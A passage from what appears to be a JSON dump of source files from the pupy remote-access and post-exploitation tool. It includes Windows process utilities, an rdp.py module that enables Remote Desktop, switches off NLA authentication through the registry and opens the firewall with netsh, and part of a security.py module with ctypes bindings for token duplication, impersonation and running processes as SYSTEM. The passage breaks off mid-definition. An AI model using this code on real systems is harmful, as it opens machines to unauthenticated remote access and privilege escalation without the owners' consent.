p\n    else:\n        return p.pid\n\n\ndef is_x64_architecture():\n    ''' Return True if the architecture is x64 '''\n\n    if '64' in platform.machine():\n        return True\n    else:\n        return False\n\n\ndef is_x86_architecture():\n    ''' Return True if the architecture is x86 '''\n    if '86' in platform.machine():\n        return True\n    else:\n        return False\n\n\ndef get_current_pid():\n    current_process = psutil.Process()\n\n    return {\n        'Name': current_process.name(),\n        'PID': current_process.pid\n    }\n\n\ndef get_current_ppid():\n    parent_process = psutil.Process().parent()\n\n    if parent_process is not None:\n        return {\n            'Parent Name': parent_process.name(),\n            'PPID': parent_process.pid\n        }\n    else:\n        return {\n            'Parent Name': None,\n            'PPID': None\n        }\n\n\ndef isUserAdmin():\n    if windll.Shell32.IsUserAnAdmin():\n        return True\n    else:\n        return False\n\n\nif __name__ == '__main__':\n    for dic in enum_processes():\n        print(dic)\n"
  },
  {
    "path": "pupy/packages/windows/all/pupwinutils/rdp.py",
    "content": "from __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\nfrom _winreg import (\n    ConnectRegistry, OpenKey, SetValueEx, CloseKey,\n    KEY_WRITE, REG_DWORD, HKEY_LOCAL_MACHINE\n)\nimport ctypes\nimport subprocess\n\ndef check_if_admin():\n    return ctypes.windll.shell32.IsUserAnAdmin() != 0\n\ndef setRegValue(aReg, keyPath, regPath, value):\n    try:\n        aKey = OpenKey(aReg, keyPath, 0, KEY_WRITE)\n        SetValueEx(aKey, regPath, 0, REG_DWORD, value)\n        CloseKey(aKey)\n        return True\n    except:\n        return False\n\ndef modifyKey(keyPath, regPath, value, root=HKEY_LOCAL_MACHINE):\n    aReg = ConnectRegistry(None, root)\n\n    if not setRegValue(aReg, keyPath, regPath, value):\n        CloseKey(aReg)\n        return False\n\n    CloseKey(aReg)\n    return True\n\ndef executeCmd(cmd):\n    command=['cmd.exe', '/c'] + cmd.split()\n    res = subprocess.check_output(command, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, universal_newlines=True)\n    # info=subprocess.STARTUPINFO()\n    # info.dwFlags=subprocess.STARTF_USESHOWWINDOW | subprocess.CREATE_NEW_PROCESS_GROUP\n    # info.wShowWindow=subprocess.SW_HIDE\n    # p=subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, universal_newlines=True)\n    # results, _=p.communicate()\n    return res\n\ndef enable_rdp():\n    # enable RDP\n    if modifyKey(r\"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\\", 'fDenyTSConnections', 0):\n        # disable NLA authentication\n        if modifyKey(r\"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\WinStations\\\\RDP-Tcp\\\\\", \"UserAuthentication\", 0):\n            # adding a firewall rule\n            cmd = 'netsh firewall set service type=remotedesktop mod=enable'\n            # cmd = 'netsh advfirewall firewall set rule group=\"Bureau à distance\" new enable=Yes'\n            r = executeCmd(cmd)\n            if 'ok' in r.lower():\n                print('[+] RDP enabled')\n            else:\n                print('[-] Failed to add new firewall rule')\n        else:\n            print('[-] Failed to disable NLA authentication')\n    else:\n        print('[-] Failed to change the rdp key')\n\n\ndef disable_rdp():\n    # disable RDP\n    if modifyKey(r\"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\\", 'fDenyTSConnections', 1):\n        # enable NLA authentication\n        if modifyKey(r\"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\\WinStations\\\\RDP-Tcp\\\\\", \"UserAuthentication\", 1):\n            # removing a firewall rule\n            cmd = 'netsh firewall set service type=remotedesktop mod=disable'\n            r = executeCmd(cmd)\n            if 'ok' in r.lower():\n                print('[+] RDP disabled')\n            else:\n                print('[-] Failed to remove the rdp firewall rule')\n        else:\n            print('[-] Failed to disable NLA authentication')\n    else:\n        print('[-] Failed to change the rdp key')\n\n\n\n# www.vladan.fr/multiple-rdp-sessions-on-windows/\n"
  },
  {
    "path": "pupy/packages/windows/all/pupwinutils/security.py",
    "content": "# -*- coding: utf-8 -*-\n# Author: ??? and original code from\n# https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py\n# Contributor(s): @bobsecq\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom ctypes import (\n    WinDLL, c_uint32, c_char_p,\n    c_long, c_uint16, Structure, Union,\n    POINTER, create_unicode_buffer, create_string_buffer,\n    get_last_error, cast, c_void_p, sizeof, c_int, c_ulong,\n    c_wchar, GetLastError, WinError, byref, addressof, c_size_t,\n    c_ubyte, resize, c_longlong\n)\n\nfrom ctypes.wintypes import (\n    BOOL, LPSTR, LPWSTR, BYTE,\n    LPCSTR, LPCWSTR, USHORT, HANDLE\n)\n\nfrom pupy.network.lib.convcompat import (\n    as_native_string, try_as_unicode_string\n)\n\nfrom threading import Thread\n\nimport psutil\nimport sys\nimport os\nimport socket\n\nimport logging\n\nfrom os import W_OK, X_OK, R_OK\n\nif sys.version_info.major > 2:\n    xrange = range\n\nntdll = WinDLL('ntdll', use_last_error=True)\nadvapi32 = WinDLL('advapi32', use_last_error=True)\nshell32 = WinDLL('shell32', use_last_error=True)\nkernel32 = WinDLL('kernel32', use_last_error=True)\nuserenv = WinDLL('userenv', use_last_error=True)\nsecur32 = WinDLL('secur32', use_last_error=True)\n\nS_OK = 0\nE_ABORT = 0x80004004\nE_ACCESSDENIED = 0x80070005\nE_FAIL = 0x80004005\nE_HANDLE = 0x80070006\nE_INVALIDARG = 0x80070057\nE_NOINTERFACE = 0x80004002\nE_NOTIMPL = 0x80004001\nE_OUTOFMEMORY = 0x8007000E\nE_POINTER = 0x80004003\nE_UNEXPECTED = 0x8000FFFF\n\nLPVOID = c_void_p\nPVOID = LPVOID\nLPTSTR = LPSTR\nLPCTSTR = LPSTR\nPSID = PVOID\nDWORD = c_uint32\nINVALID_HANDLE_VALUE = c_void_p(-1).value\nINVALID_HANDLE = HANDLE(INVALID_HANDLE_VALUE)\nLONG = c_long\nWORD = c_uint16\nPULONG = c_void_p\nLPBYTE = c_char_p\nSIZE_T = c_size_t\nULONG = c_ulong\nWCHAR = c_wchar\nNTSTATUS = DWORD\nLARGE_INTEGER = c_longlong\nPHANDLE = POINTER(HANDLE)\nPDWORD = POINTER(DWORD)\n\nSECURITY_INFORMATION = DWORD\n\nPROCESS_QUERY_INFORMATION = 0x0400\nREAD_CONTROL = 0x00020000\nSTANDARD_RIGHTS_READ = READ_CONTROL\nSTANDARD_RIGHTS_REQUIRED = 0x000F0000\nTOKEN_ASSIGN_PRIMARY = 0x0001\nTOKEN_DUPLICATE = 0x0002\nTOKEN_IMPERSONATE = 0x0004\nTOKEN_QUERY = 0x0008\nTOKEN_QUERY_SOURCE = 0x0010\nTOKEN_ADJUST_PRIVILEGES = 0x0020\nTOKEN_ADJUST_GROUPS = 0x0040\nTOKEN_ADJUST_DEFAULT = 0x0080\nTOKEN_ADJUST_SESSIONID = 0x0100\nTOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)\n\ntokenprivs = (\n    TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE |\n    TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY\n    | (131072 | 4)\n)\n\nTOKEN_ALL_ACCESS = (\n    STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |\n    TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY |\n    TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES |\n    TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID\n)\n\nSE_OWNER_DEFAULTED = 0x0001\nSE_GROUP_DEFAULTED = 0x0002\nSE_DACL_PRESENT = 0x0004\nSE_DACL_DEFAULTED = 0x0008\nSE_SACL_PRESENT = 0x0010\nSE_SACL_DEFAULTED = 0x0020\nSE_DACL_AUTO_INHERIT_REQ = 0x0100\nSE_SACL_AUTO_INHERIT_REQ = 0x0200\nSE_DACL_AUTO_INHERITED = 0x0400\nSE_SACL_AUTO_INHERITED = 0x0800\nSE_DACL_PROTECTED = 0x1000\nSE_SACL_PROTECTED = 0x2000\nSE_SELF_RELATIVE = 0x8000\n\nOBJECT_INHERIT_ACE = 0x01\nCONTAINER_INHERIT_ACE = 0x02\nNO_PROPAGATE_INHERIT_ACE = 0x04\nINHERIT_ONLY_ACE = 0x08\nINHERITED_ACE = 0x10\nSUCCESSFUL_ACCESS_ACE_FLAG = 0x40\nFAILED_ACCESS_ACE_FLAG = 0x80\n\nACCESS_ALLOWED_ACE_TYPE = 0\nACCESS_DENIED_ACE_TYPE = 1\nSYSTEM_AUDIT_ACE_TYPE = 2\n\nDELETE = 0x00010000  # DE\nREAD_CONTROL = 0x00020000  # RC\nWRITE_DAC = 0x00040000  # WDAC\nWRITE_OWNER = 0x00080000  # WO\nSYNCHRONIZE = 0x00100000  # S\nACCESS_SYSTEM_SECURITY = 0x01000000  # AS\nGENERIC_READ = 0x80000000  # GR\nGENERIC_WRITE = 0x40000000  # GW\nGENERIC_EXECUTE = 0x20000000  # GE\nGENERIC_ALL = 0x10000000  # GA\n\nCREATE_ALWAYS = 0x2\nCREATE_NEW = 0x1\nOPEN_ALWAYS = 0x4\nOPEN_EXISTING = 0x3\nTRUNCATE_EXISTING = 0x5\n\nFILE_READ_DATA = 0x00000001  # RD\nFILE_LIST_DIRECTORY = 0x00000001\nFILE_WRITE_DATA = 0x00000002  # WD\nFILE_ADD_FILE = 0x00000002\nFILE_APPEND_DATA = 0x00000004  # AD\nFILE_ADD_SUBDIRECTORY = 0x00000004\nFILE_READ_EA = 0x00000008  # REA\nFILE_WRITE_EA = 0x00000010  # WEA\nFILE_EXECUTE = 0x00000020  # X\nFILE_TRAVERSE = 0x00000020\nFILE_DELETE_CHILD = 0x00000040  # DC\nFILE_READ_ATTRIBUTES = 0x00000080  # RA\nFILE_WRITE_ATTRIBUTES = 0x00000100  # WA\n\nFILE_GENERIC_READ = (\n    FILE_READ_DATA | FILE_READ_EA |\n    FILE_READ_ATTRIBUTES | READ_CONTROL |\n    SYNCHRONIZE\n)\n\nFILE_GENERIC_WRITE = (\n    FILE_WRITE_DATA | FILE_APPEND_DATA |\n    FILE_WRITE_EA | FILE_WRITE_ATTRIBUTES |\n    READ_CONTROL | SYNCHRONIZE\n)\n\nFILE_GENERIC_EXECUTE = (\n    FILE_EXECUTE | FILE_READ_ATTRIBUTES |\n    READ_CONTROL | SYNCHRONIZE\n)\n\nFILE_ALL_ACCESS = (\n    STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1FF\n)\n\nFILE_MODIIFY_ACCESS = FILE_ALL_ACCESS & ~(\n    FILE_DELETE_CHILD | WRITE_DAC | WRITE_OWNER\n)\n\nFILE_READ_EXEC_ACCESS = FILE_GENERIC_READ | FILE_GENERIC_EXECUTE\n\nFILE_DELETE_ACCESS = DELETE | SYNCHRONIZE\n\n\nSE_PRIVILEGE_ENABLED_BY_DEFAULT = (0x00000001)\nSE_PRIVILEGE_ENABLED = (0x00000002)\nSE_PRIVILEGE_REMOVED = (0x00000004)\nSE_PRIVILEGE_USED_FOR_ACCESS = (0x80000000)\n\nOWNER_SECURITY_INFORMATION = 0x00000001\nGROUP_SECURITY_INFORMATION = 0x00000002\nDACL_SECURITY_INFORMATION = 0x00000004\nSACL_SECURITY_INFORMATION = 0x00000008\n\nINVALID_FILE_ATTRIBUTES = -1\nFILE_ATTRIBUTE_ARCHIVE = 0x20\nFILE_ATTRIBUTE_COMPRESSED = 0x800\nFILE_ATTRIBUTE_DEVICE = 0x40\nFILE_ATTRIBUTE_DIRECTORY = 0x10\nFILE_ATTRIBUTE_ENCRYPTED = 0x4000\nFILE_ATTRIBUTE_HIDDEN = 0x02\nFILE_ATTRIBUTE_INTEGRITY_STREAM = 0x8000\nFILE_ATTRIBUTE_NORMAL = 0x80\nFILE_ATTRIBUTE_READONLY = 0x1\nFILE_ATTRIBUTE_SYSTEM = 0x4\n\nFILE_EXECUTE = 0x20\nFILE_READ_DATA = 0x1\nFILE_WRITE_DATA = 0x2\n\nFILE_ADD_FILE = 2\nFILE_ADD_SUBDIRECTORY = 4\nFILE_APPEND_DATA = 4\nFILE_CREATE_PIPE_INSTANCE = 4\nFILE_DELETE_CHILD = 0x40\nFILE_LIST_DIRECTORY = 1\nFILE_READ_ATTRIBUTES = 0x80\nFILE_READ_EA = 8\nFILE_TRAVERSE = 0x20\nFILE_WRITE_ATTRIBUTES = 0x100\nFILE_WRITE_EA = 0x10\n\nFILE_ALL_ACCESS = FILE_EXECUTE | FILE_READ_DATA | FILE_WRITE_DATA | \\\n  FILE_APPEND_DATA | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | \\\n  FILE_READ_EA | FILE_WRITE_EA\n\nSecurityAnonymous = 0\nSecurityIdentification = 1\nSecurityImpersonation = 2\nSecurityDelegation = 3\n\nSID_SYSTEM = 'S-1-5-18'\n\nSYSTEM_EXTENDED_HANDLE_INFORMATION = 0x00000040\nFILE_DEVICE_UNKNOWN = 0x00000022\nFILE_ANY_ACCESS = 0x00000000\nMETHOD_NEITHER = 0x00000003\nPROCESS_ALL_ACCESS = 0x001F0FFF\nPROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000\nPROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016\nEXTENDED_STARTUPINFO_PRESENT = 0x00080000\nCREATE_NEW_PROCESS_GROUP = 0x00000200\nCREATE_NO_WINDOW = 0x08000000\nDETACHED_PROCESS = 0x00000008\nENTRIES = 0x00006000\nPROCESS_ALL_ACCESS = 0x001fffff\n\nSTARTF_USESHOWWINDOW = 0x00000001\nSTARTF_USESTDHANDLES = 0x00000100\n\nSW_HIDE = 0\n\nWAIT_ABANDONED = 0x00000080\nWAIT_OBJECT_0 = 0x00000000\nWAIT_TIMEOUT = 0x00000102\nWAIT_FAILED = 0xFFFFFFFF\n\n\ndef _bit(flag, mask):\n    return (flag & mask) == mask\n\n\nclass TOKEN_INFORMATION_CLASS(object):\n    __slots__ = ()\n    # See http://msdn.microsoft.com/en-us/library/aa379626%28VS.85%29.aspx\n    TokenUser = 1\n    TokenGroups = 2\n    TokenPrivileges = 3\n\n\nclass LUID(Structure):\n    _fields_ = [\n        (\"LowPart\", DWORD),\n        (\"HighPart\", LONG),\n    ]\n\n    def __eq__(self, other):\n        return (\n            self.HighPart == other.HighPart and\n            self.LowPart == other.LowPart\n        )\n\n    def __ne__(self, other):\n        return not (self == other)\n\n\nPLUID = POINTER(LUID)\n\n\nclass SID_AND_ATTRIBUTES(Structure):\n    _fields_ = [\n        (\"Sid\", PSID),\n        (\"Attributes\", DWORD),\n    ]\n\n\nclass TOKEN_USER(Structure):\n    _fields_ = [\n        (\"User\", SID_AND_ATTRIBUTES),\n    ]\n\n\nACCESS_MASK = DWORD\n\n\nclass GENERIC_MAPPING(Structure):\n    _fields_ = [\n        ('GenericRead', ACCESS_MASK),\n        ('GenericWrite', ACCESS_MASK),\n        ('GenericExecute', ACCESS_MASK),\n        ('GenericAll', ACCESS_MASK),\n    ]\n\n\nLookupPrivilegeName = advapi32.LookupPrivilegeNameW\nLookupPrivilegeName.argtypes = [LPWSTR, PLUID, LPWSTR, PDWORD]\nLookupPrivilegeName.restype = BOOL\n\n\nclass LUID_AND_ATTRIBUTES(Structure):\n    _fields_ = [\n        (\"Luid\", LUID),\n        (\"Attributes\", DWORD),\n    ]\n\n    def is_enabled(self):\n        return _bit(self.Attributes, SE_PRIVILEGE_ENABLED)\n\n    def enable(self):\n        self.Attributes |= SE_PRIVILEGE_ENABLED\n\n    def get_name(self):\n        size = DWORD(10240)\n        buf = create_unicode_buffer(size.value)\n        res = LookupPrivilegeName(None, self.Luid, buf, size)\n\n        if res == 0:\n            raise WinError(get_last_error())\n\n        return buf[:size.value]\n\n    def __str__(self):\n        res = self.get_name()\n\n        if self.is_enabled():\n            res += ' (enabled)'\n\n        return res\n\n\nclass TOKEN_PRIVILEGES(Structure):\n    _fields_ = [\n        (\"PrivilegeCount\", DWORD),\n        (\"Privileges\", LUID_AND_ATTRIBUTES),\n    ]\n\n\nPTOKEN_PRIVILEGES = POINTER(TOKEN_PRIVILEGES)\n\n\nclass TOKEN_PRIVS(Structure):\n    _fields_ = [\n        (\"PrivilegeCount\", DWORD),\n        (\"Privileges\", LUID_AND_ATTRIBUTES*0),\n    ]\n\n    def get_array(self):\n        array_type = LUID_AND_ATTRIBUTES*self.PrivilegeCount\n        privileges = cast(self.Privileges, POINTER(array_type)).contents\n        return privileges\n\n    def __iter__(self):\n        return iter(self.get_array())\n\n\nclass PROCESS_INFORMATION(Structure):\n    _fields_ = [\n        ('hProcess', HANDLE),\n        ('hThread', HANDLE),\n        ('dwProcessId', DWORD),\n        ('dwThreadId', DWORD),\n    ]\n\n\nclass STARTUPINFOW(Structure):\n    _fields_ = [\n        ('cb', DWORD),\n        ('lpReserved', LPWSTR),\n        ('lpDesktop', LPWSTR),\n        ('lpTitle', LPWSTR),\n        ('dwX', DWORD),\n        ('dwY', DWORD),\n        ('dwXSize', DWORD),\n        ('dwYSize', DWORD),\n        ('dwXCountChars', DWORD),\n        ('dwYCountChars', DWORD),\n        ('dwFillAttribute', WORD),\n        ('dwFlags', DWORD),\n        ('wShowWindow', WORD),\n        ('cbReserved2', WORD),\n        ('lpReserved2', LPVOID),  # LPBYTE\n        ('hStdInput', HANDLE),\n        ('hStdOutput', HANDLE),\n        ('hStdError', HANDLE),\n    ]\n\n    def __init__(self, *args, **kwargs):\n        super(STARTUPINFOW, self).__init__(*args, **kwargs)\n        self.cb = sizeof(self)\n\n\nclass ACL_HEADER(Structure):\n    _fields_ = [\n        ('AclRevision', BYTE),\n        ('Sbz1', BYTE),\n        ('AclSize', WORD),\n        ('AceCount', WORD),\n        ('Sbz2', WORD)\n    ]\n\n\nclass SECURITY_DESCRIPTOR(Structure):\n    _fields_ = [\n        ('Revision', BYTE),\n        ('Sbz1', BYTE),\n        ('Control', WORD),\n        ('Owner', c_void_p),\n        ('Group', c_void_p),\n        ('Sacl', c_void_p),\n        ('Dacl', c_void_p),\n    ]\n\n\nPSECURITY_DESCRIPTOR = POINTER(SECURITY_DESCRIPTOR)\n\n\nclass SECURITY_ATTRIBUTES(Structure):\n    _fields_ = [\n        (\"nLength\", DWORD),\n        (\"lpSecurityDescriptor\", LPVOID),\n        (\"bInheritHandle\", BOOL),\n    ]\n\n\nPSECURITY_ATTRIBUTES = POINTER(SECURITY_ATTRIBUTES)\n\n\nclass OSVERSIONINFOEXW(Structure):\n    _fields_ = [\n        ('dwOSVersionInfoSize', DWORD),\n        ('dwMajorVersion', DWORD),\n        ('dwMinorVersion', DWORD),\n        ('dwBuildNumber', DWORD),\n        ('dwPlatformId', DWORD),\n        ('szCSDVersion', c_wchar * 128),\n        ('wServicePackMajor', DWORD),\n        ('wServicePackMinor', DWORD),\n        ('wSuiteMask', DWORD),\n        ('wProductType', BYTE),\n        ('wReserved', BYTE)\n    ]\n\n\nPOSVERSIONINFOEXW = POINTER(OSVERSIONINFOEXW)\n\n\nclass PRIVILEGE_SET_HEADER(Structure):\n    _fields_ = [\n        ('PrivilegeCount', DWORD),\n        ('Control', DWORD)\n    ]\n\n\nclass SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):\n    _fields_ = [\n        (\"Object\", PVOID),\n        (\"UniqueProcessId\", PVOID),\n        (\"HandleValue\", PVOID),\n        (\"GrantedAccess\", ULONG),\n        (\"CreatorBackTraceIndex\", USHORT),\n        (\"ObjectTypeIndex\", USHORT),\n        (\"HandleAttributes\", ULONG),\n        (\"Reserved\", ULONG)\n    ]\n\n\nclass STARTUPINFOEX(Structure):\n    _fields_ = [\n        ('StartupInfo', STARTUPINFOW),\n        ('lpAttributeList', PVOID)\n    ]\n\n    def __init__(self, *args, **kwargs):\n        super(STARTUPINFOEX, self).__init__(*args, **kwargs)\n        self._lpAttributeList = None\n        self._attributes_copy = []\n        self.StartupInfo.cb = sizeof(self)\n        self.StartupInfo.lpReserved = 0\n        self.StartupInfo.lpDesktop = 0\n        self.StartupInfo.lpTitle = 0\n        self.StartupInfo.dwFlags = 0\n        self.StartupInfo.cbReserved2 = 0\n        self.StartupInfo.lpReserved2 = 0\n        self.lpAttributeList = 0\n\n    def __getattr__(self, key):\n        try:\n            return self.StartupInfo.__getattribute__(key)\n        except AttributeError:\n            pass\n\n        return self.__getattribute__(key)\n\n    def __setattr__(self, key, value):\n        try:\n            self.StartupInfo.__getattribute__(key)\n            setattr(self.b, key, value)\n        except AttributeError:\n            pass\n\n        super(STARTUPINFOEX, self).__setattr__(key, value)\n\n    def setAttributes(self, attributes):\n        lpAttributeList = None\n        lpSize = c_size_t(0)\n\n        dwAttrs = len(attributes)\n\n        if not InitializeProcThreadAttributeList(\n                None, dwAttrs, 0, byref(lpSize)):\n            error = get_last_error()\n            if error != ERROR_INSUFFICIENT_BUFFER:\n                raise WinError(get_last_error())\n\n        lpAttributeList = create_string_buffer(lpSize.value)\n        if not InitializeProcThreadAttributeList(\n                    lpAttributeList, dwAttrs, 0, byref(lpSize)):\n            raise WinError(get_last_error())\n\n        for attribute in attributes:\n            self._attributes_copy.append(attribute)\n            if not UpdateProcThreadAttribute(\n                lpAttributeList, 0, attribute.attribute,\n                    attribute.value, sizeof(attribute.value), 0, None):\n                raise WinError(get_last_error())\n\n        self._lpAttributeList = lpAttributeList\n        self.lpAttributeList = addressof(self._lpAttributeList)\n\n\nclass TOKEN_MANDATORY_LABEL(Structure):\n    _fields_ = [\n        ('Label', SID_AND_ATTRIBUTES),\n    ]\n\n\n# advapi32\n\nLookupAccountNameW = advapi32.LookupAccountNameW\nLookupAccountNameW.restype = BOOL\nLookupAccountNameW.argtypes = [\n    LPWSTR, LPWSTR, PSID, PDWORD, LPWSTR, PDWORD, PDWORD\n]\n\nLookupAccountSidW = advapi32.LookupAccountSidW\nLookupAccountSidW.restype = BOOL\nLookupAccountSidW.argtypes = [\n    LPWSTR, PSID, LPWSTR, PDWORD, LPWSTR, PDWORD, PDWORD\n]\n\nLookupAccountSidA = advapi32.LookupAccountSidA\nLookupAccountSidA.restype = BOOL\nLookupAccountSidA.argtypes = [\n    LPTSTR, PSID, LPTSTR, PDWORD, LPTSTR, PDWORD, PDWORD\n]\n\nAdjustTokenPrivileges = advapi32.AdjustTokenPrivileges\nAdjustTokenPrivileges.restype = BOOL\nAdjustTokenPrivileges.argtypes = [\n    HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD,\n    PTOKEN_PRIVILEGES, PDWORD\n]\n\nCheckTokenMembership = advapi32.CheckTokenMembership\nCheckTokenMembership.restype = BOOL\nCheckTokenMembership.argtypes = [\n    HANDLE, PSID, POINTER(BOOL)\n]\n\nConvertSidToStringSidA = advapi32.ConvertSidToStringSidA\nConvertSidToStringSidA.restype = BOOL\nConvertSidToStringSidA.argtypes = [\n    PSID, POINTER(LPTSTR)\n]\n\nCreateProcessAsUser = advapi32.CreateProcessAsUserW\nCreateProcessAsUser.restype = BOOL\nCreateProcessAsUser.argtypes = [\n    HANDLE, LPWSTR, LPWSTR, PSECURITY_ATTRIBUTES,\n    PSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPWSTR,\n    c_void_p, POINTER(PROCESS_INFORMATION)\n]\n\nCreateWellKnownSid = advapi32.CreateWellKnownSid\nCreateWellKnownSid.restype = BOOL\nCreateWellKnownSid.argtypes = [\n    DWORD, POINTER(PSID), LPVOID, PDWORD\n]\n\nDuplicateTokenEx = advapi32.DuplicateTokenEx\nDuplicateTokenEx.restype = BOOL\nDuplicateTokenEx.argtypes = [\n    HANDLE, DWORD, PSECURITY_ATTRIBUTES, DWORD, DWORD, PHANDLE\n]\n\nDuplicateToken = advapi32.DuplicateToken\nDuplicateToken.restype = BOOL\nDuplicateToken.argtypes = [\n    HANDLE, DWORD, PHANDLE\n]\n\nGetTokenInformation = advapi32.GetTokenInformation\nGetTokenInformation.restype = BOOL\nGetTokenInformation.argtypes = [\n    HANDLE, DWORD, LPVOID, DWORD, PDWORD\n]\n\nGetUserNameW = advapi32.GetUserNameW\nGetUserNameW.restype = BOOL\nGetUserNameW.argtypes = [\n    LPWSTR, PDWORD\n]\n\nImpersonateLoggedOnUser = advapi32.ImpersonateLoggedOnUser\nImpersonateLoggedOnUser.restype = BOOL\nImpersonateLoggedOnUser.argtypes = [\n    HANDLE\n]\n\nLookupPrivilegeValueA = advapi32.LookupPrivilegeValueA\nLookupPrivilegeValueA.restype = BOOL\nLookupPrivilegeValueA.argtypes = [\n    LPCTSTR, LPCTSTR, PLUID\n]\n\nOpenProcessToken = advapi32.OpenProcessToken\nOpenProcessToken.restype = BOOL\nOpenProcessToken.argtypes = [\n    HANDLE, DWORD, PHANDLE\n]\n\nOpenThreadToken = advapi32.OpenThreadToken\nOpenThreadToken.restype = BOOL\nOpenThreadToken.argtypes = [\n    HANDLE, DWORD, BOOL, PHANDLE\n]\n\nRevertToSelf = advapi32.RevertToSelf\nRevertToSelf.restype = BOOL\nRevertToSelf.argtypes = []\n\nImpersonateSelf = advapi32.ImpersonateSelf\nImpersonateSelf.restype = BOOL\nImpersonateSelf.argtypes = [\n    DWORD\n]\n\nMapGenericMask = advapi32.MapGenericMask\nMapGenericMask.argtypes = [\n    PDWORD, POINTER(GENERIC_MAPPING)\n]\n\nGetFileSecurityW = advapi32.GetFileSecurityW\nGetFileSecurityW.argtypes = [\n    LPWSTR, SECURITY_INFORMATION, c_void_p, DWORD, PDWORD\n]\nGetFileSecurityW.restype = BOOL\n\nGetSecurityDescriptorGroup = advapi32.GetSecurityDescriptorGroup\nGetSecurityDescriptorGroup.restype = BOOL\nGetSecurityDescriptorGroup.argtypes = [\n    c_void_p, POINTER(PSID), POINTER(BOOL)\n]\n\nGetSecurityDescriptorOwner = advapi32.GetSecurityDescriptorOwner\nGetSecurityDescriptorOwner.restype = BOOL\nGetSecurityDescriptorOwner.argtypes = [\n    c_void_p, POINTER(PSID), POINTER(BOOL)\n]\n\nGetSecurityDescriptorDacl = advapi32.GetSecurityDescriptorDacl\nGetSecurityDescriptorDacl.restype = BOOL\nGetSecurityDescriptorDacl.argtypes = [\n    c_void_p, POINTER(BOOL), POINTER(c_void_p), POINTER(BOOL)\n]\n\n\nclass GUID(Structure):\n    _fields_ = [\n        ('Data1', DWORD),\n        ('Data2', WORD),\n        ('Data3', WORD),\n        ('Data4', BYTE*8)\n    ]\n\n\nclass OBJECTS_AND_SID(Structure):\n    _fields_ = [\n        ('ObjectsPresent', DWORD),\n        ('ObjectTypeGuid', GUID),\n        ('InheritedObjectTypeGuid', GUID),\n        ('pSid', PSID)\n    ]\n\n\nPOBJECTS_AND_SID = POINTER(OBJECTS_AND_SID)\n\n\nclass OBJECTS_AND_NAME_W(Structure):\n    _fields_ = [\n        ('ObjectsPresent', DWORD),\n        ('ObjectType', DWORD),\n        ('ObjectTypeName', LPWSTR),\n        ('InheritedObjectTypeName', LPWSTR),\n        ('ptstrName', LPWSTR)\n    ]\n\n\nPOBJECTS_AND_NAME_W = POINTER(OBJECTS_AND_NAME_W)\n\nTRUSTEE_IS_SID = 0\nTRUSTEE_IS_NAME = 1\nTRUSTEE_BAD_FORM = 2\nTRUSTEE_IS_OBJECTS_AND_SID = 3\nTRUSTEE_IS_OBJECTS_AND_NAME = 4\n\nTRUSTEE_KIND_TEXT = {\n    TRUSTEE_IS_SID: 'SID',\n    TRUSTEE_IS_NAME: 'NAME',\n    TRUSTEE_BAD_FORM: 'BAD',\n    TRUSTEE_IS_OBJECTS_AND_SID: 'Objects and SID',\n    TRUSTEE_IS_OBJECTS_AND_NAME: 'Objects and NAME'\n}\n\nTRUSTEE_IS_UNKNOWN = 0\nTRUSTEE_IS_USER = 1\nTRUSTEE_IS_GROUP = 2\nTRUSTEE_IS_DOMAIN = 3\nTRUSTEE_IS_ALIAS = 4\nTRUSTEE_IS_WELL_KNOWN_GROUP = 5\nTRUSTEE_IS_DELETED = 6\nTRUSTEE_IS_INVALID = 7\nTRUSTEE_IS_COMPUTER = 8\n\nTRUSTEE_TEXT = {\n    TRUSTEE_IS_UNKNOWN: 'Unknown',\n    TRUSTEE_IS_USER: 'User',\n    TRUSTEE_IS_GROUP: 'Group',\n    TRUSTEE_IS_DOMAIN: 'Domain',\n    TRUSTEE_IS_ALIAS: 'Alias',\n    TRUSTEE_IS_WELL_KNOWN_GROUP: 'Well-Known Group',\n    TRUSTEE_IS_DELETED: 'Deleted',\n    TRUSTEE_IS_INVALID: 'Invalid',\n    TRUSTEE_IS_COMPUTER: 'Computer'\n}\n\nNO_INHERITANCE = 0\nOBJECT_INHERIT_ACE = 1\nCONTAINER_INHERIT_ACE = 2\nINHERIT_NO_PROPAGATE = 4\nINHERIT_ONLY_ACE = 8\n\nINHERITANCE_TEXT = {\n    NO_INHERITANCE: 'NO INHERITANCE',\n    OBJECT_INHERIT_ACE: 'OBJECT/ACE',\n    CONTAINER_INHERIT_ACE: 'CONTAINER/ACE',\n    INHERIT_NO_PROPAGATE: 'NO PROPAGATE',\n    INHERIT_ONLY_ACE: 'ONLY ACE'\n}\n\n\nclass TRUSTEE_W_NAME(Union):\n    _fields_ = [\n        ('ptstrName', LPWSTR),\n        ('pSid', PSID),\n        ('pObjectsAndSid', POBJECTS_AND_SID),\n        ('pObjectsAndName', POBJECTS_AND_NAME_W),\n    ]\n\n\nclass TRUSTEE_W(Structure):\n    _fields_ = [\n        # Unsupported\n        ('pMultipleTrustee', 